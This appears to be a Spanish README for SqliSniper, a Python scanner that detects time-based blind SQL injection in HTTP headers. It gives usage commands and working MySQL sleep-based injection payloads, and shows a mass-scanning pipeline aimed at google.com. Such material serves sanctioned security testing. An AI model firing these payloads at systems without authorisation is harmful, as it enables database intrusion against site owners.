
Fuzzer avanzado de inyección SQL ciega basada en tiempo para encabezados HTTP
Características • Instalación • Uso • Ejecutar SqliSniper • Contribuir •
SqliSniper es una herramienta robusta en Python diseñada para detectar inyecciones SQL ciegas basadas en tiempo en cabeceras de solicitudes HTTP. Mejora el proceso de evaluación de seguridad al escanear rápidamente e identificar vulnerabilidades potenciales mediante el uso de múltiples hilos, garantizando velocidad y eficiencia. A diferencia de otros escáneres, SqliSniper está diseñado para eliminar falsos positivos y enviar alertas al detectar, con la funcionalidad integrada de notificaciones de Discord.

git clone https://github.com/danialhalo/SqliSniper.git
cd SqliSniper
chmod +x sqlisniper.py
pip3 install -r requirements.txt
Esto mostrará la ayuda para la herramienta. Aquí están todas las opciones que soporta.
ubuntu:~/sqlisniper$ ./sqlisniper.py -h
███████╗ ██████╗ ██╗ ██╗ ███████╗███╗ ██╗██╗██████╗ ███████╗██████╗
██╔════╝██╔═══██╗██║ ██║ ██╔════╝████╗ ██║██║██╔══██╗██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║ ███████╗██╔██╗ ██║██║██████╔╝█████╗ ██████╔╝
╚════██║██║▄▄ ██║██║ ██║ ╚════██║██║╚██╗██║██║██╔═══╝ ██╔══╝ ██╔══██╗
███████║╚██████╔╝███████╗██║ ███████║██║ ╚████║██║██║ ███████╗██║ ██║
╚══════╝ ╚══▀▀═╝ ╚══════╝╚═╝ ╚══════╝╚═╝ ╚═══╝╚═╝╚═╝ ╚══════╝╚═╝ ╚═╝
-: Por Muhammad Danial :-
uso: sqlisniper.py [-h] [-u URL] [-r URLS_FILE] [-p] [--proxy PROXY] [--payload PAYLOAD] [--single-payload SINGLE_PAYLOAD] [--discord DISCORD] [--headers HEADERS]
[--threads THREADS]
Detectar inyección SQL enviando consultas maliciosas
opciones:
-h, --help muestra este mensaje de ayuda y sale
-u URL, --url URL URL única para el objetivo
-r URLS_FILE, --urls_file URLS_FILE
Archivo que contiene una lista de URLs
-p, --pipeline Leer desde pipeline
--proxy PROXY Proxy para interceptar solicitudes (p.ej., http://127.0.0.1:8080)
--payload PAYLOAD Archivo que contiene cargas útiles maliciosas (por defecto payloads.txt)
--single-payload SINGLE_PAYLOAD
Carga útil única para pruebas
--discord DISCORD URL del Webhook de Discord
--headers HEADERS Archivo que contiene cabeceras (por defecto headers.txt)
--threads THREADS Número de hilos
La URL se puede proporcionar con la opción -u para escanear un solo sitio
./sqlisniper.py -u http://example.com
La opción -r permite a SqliSniper leer un archivo que contiene múltiples URLs para escaneo simultáneo.
./sqlisniper.py -r url.txt
SqliSniper también funciona con entrada mediante pipeline con la opción -p
cat url.txt | ./sqlisniper.py -p
La funcionalidad de pipeline facilita la integración sin problemas con otras herramientas. Por ejemplo, puede utilizar herramientas como subfinder y httpx, y luego canalizar su salida a SqliSniper para escaneo masivo.
subfinder -silent -d google.com | sort -u | httpx -silent | ./sqlisniper.py -p
Por defecto, SqliSniper utiliza el archivo payloads.txt. Sin embargo, se puede usar la opción --payload para proporcionar un archivo de cargas útiles personalizadas.
./sqlisniper.py -u http://example.com --payload mssql_payloads.txt
Al usar el archivo de cargas útiles personalizadas, asegúrese de reemplazar el tiempo de espera con %__TIME_OUT__%. SqliSniper ajusta dinámicamente el tiempo de espera de forma iterativa para mitigar posibles falsos positivos.
El archivo de cargas útiles debe verse así.
ubuntu:~/sqlisniper$ cat payloads.txt
0\"XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR\"Z
"0"XOR(if(now()=sysdate()%2Csleep(%__TIME_OUT__%)%2C0))XOR"Z"
0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z
Si solo desea probar con una única carga útil, puede usar la opción --single-payload. Asegúrese de reemplazar el tiempo de espera con %__TIME_OUT__%
./sqlisniper.py -r url.txt --single-payload "0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z"
Las cabeceras se guardan en el archivo headers.txt. Para escanear cabeceras personalizadas, guarde la cabecera de solicitud HTTP personalizada en el archivo headers.txt.
ubuntu:~/sqlisniper$ cat headers.txt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
X-Forwarded-For: 127.0.0.1
SqliSniper también ofrece notificaciones de alerta de Discord, mejorando su funcionalidad al proporcionar alertas en tiempo real a través de webhooks de Discord. Esta función resulta invaluable durante escaneos a gran escala, permitiendo notificaciones rápidas al detectar algo.
./sqlisniper.py -r url.txt --discord <web_hookurl>
Los hilos se pueden definir con la opción --threads
./sqlisniper.py -r url.txt --threads 10
Nota: Es crucial considerar que emplear un número mayor de hilos puede provocar posibles falsos positivos o pasar por alto problemas válidos. Debido a la naturaleza de la inyección SQL basada en tiempo, se recomienda usar un número menor de hilos para una detección más precisa.
Aviso legalEl uso de esta herramienta para atacar objetivos sin el consentimiento mutuo previo está estrictamente prohibido. Es responsabilidad del usuario final cumplir con todas las leyes locales, estatales y federales aplicables. Los desarrolladores no asumen ninguna responsabilidad y no se hacen responsables por cualquier uso indebido o daño causado por este programa. |
Las contribuciones a SqliSniper siempre son bienvenidas. Ya sea mejoras de funcionalidad, corrección de errores o mejoras en la documentación, cualquier ayuda es apreciada.
SqliSniper se distribuye bajo la Licencia MIT
SqliSniper está hecho en
con mucho 💙 por @Muhammad Danial.